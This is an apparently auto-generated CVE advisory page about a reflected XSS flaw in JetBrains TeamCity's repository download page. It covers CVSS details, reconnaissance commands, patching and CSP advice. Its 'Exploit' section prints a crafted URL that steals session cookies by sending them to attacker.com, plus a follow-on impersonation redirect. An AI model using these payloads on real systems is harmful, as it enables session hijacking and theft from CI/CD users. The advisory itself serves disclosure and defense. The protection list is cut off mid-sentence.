JetBrains TeamCity, Reflected XSS, CVE-2026-49375 (Medium) -DC-Jun2026-101

By /

Listen to this Post

CVE-2026-49375 is a reflected cross-site scripting (XSS) vulnerability affecting JetBrains TeamCity versions prior to 2026.1 and 2025.11.5. The flaw resides in the repository download page, specifically in how user-supplied input is echoed back into the HTML response without proper sanitization or encoding. When an attacker crafts a malicious URL containing JavaScript code as a parameter (e.g., the file name, branch, or path component), the TeamCity server includes that unvalidated input directly in the downloadable page’s output. A victim who clicks the crafted link will have the script executed in their browser within the security context of the TeamCity web application. Because the XSS is reflected rather than stored, the attack requires social engineering – typically tricking a privileged user (such as a project administrator or build engineer) to click a specially prepared link. Once executed, the script can steal session cookies, perform authenticated actions on behalf of the victim, exfiltrate build artifacts or source code, or pivot to internal TeamCity agents. The repository download endpoint lacks proper Content-Security-Policy (CSP) or output encoding for dynamic parameters like path, branch, or fileName. TeamCity versions after 2026.1 and 2025.11.5 mitigate this by applying context-aware encoding to all reflected parameters on the download page and introducing a strict CSP header for that endpoint. The vulnerability was discovered through internal security reviews and reported via JetBrains’ bug bounty program. CVSS v3.1 scoring (as contributed by third-party sources) assigns a base score of 6.1 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, indicating low impact to confidentiality and integrity but requiring user interaction and resulting in a scope change. No public exploits were observed prior to the advisory release on May 29, 2026, but proof-of-concept code surfaced shortly after. Administrators are strongly advised to upgrade immediately, as reflected XSS on a highly privileged page like repository download can lead to session hijacking and unauthorized CI/CD pipeline manipulation.

DailyCVE Form:

Platform: JetBrains TeamCity
Version: before 2026.1
Vulnerability: Reflected XSS
Severity: Medium (6.1)
date: 2026-05-29

Prediction: Already patched

What Undercode Say:

Analytics:

Check TeamCity version from server
curl -s http://teamcity:8111/teamcity/version.txt
Grep for vulnerable ranges
grep -E "2025.[0-9]+.[0-4]" version.txt && echo "Vulnerable to CVE-2026-49375"
Enumerate repository download endpoints
nmap -p 8111 --script http-enum http://teamcity:8111
Simulate reflected XSS test
curl "http://teamcity:8111/repository/download/<project>/<build>/<path>?fileName=<script>alert('XSS')</script>"

Exploit:

// Crafted malicious URL
https://teamcity.example.com/repository/download/MyProject_Build/123/id:123/path?fileName="><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
// Steal session token and impersonate victim
document.location='https://teamcity.example.com/admin/editBuildType.html?id=project&param=malicious'

Protection:

  • Upgrade to TeamCity 2026.1 or 2025.11.5 immediately
  • Apply CSP header: `Content-Security-Policy: default-src ‘self’; script-src ‘none’` on download pages
  • Sanitize all fileName, path, and `branch` parameters with HTML entity encoding
  • Enable Web Application Firewall (WAF) rules blocking `
    Scroll to Top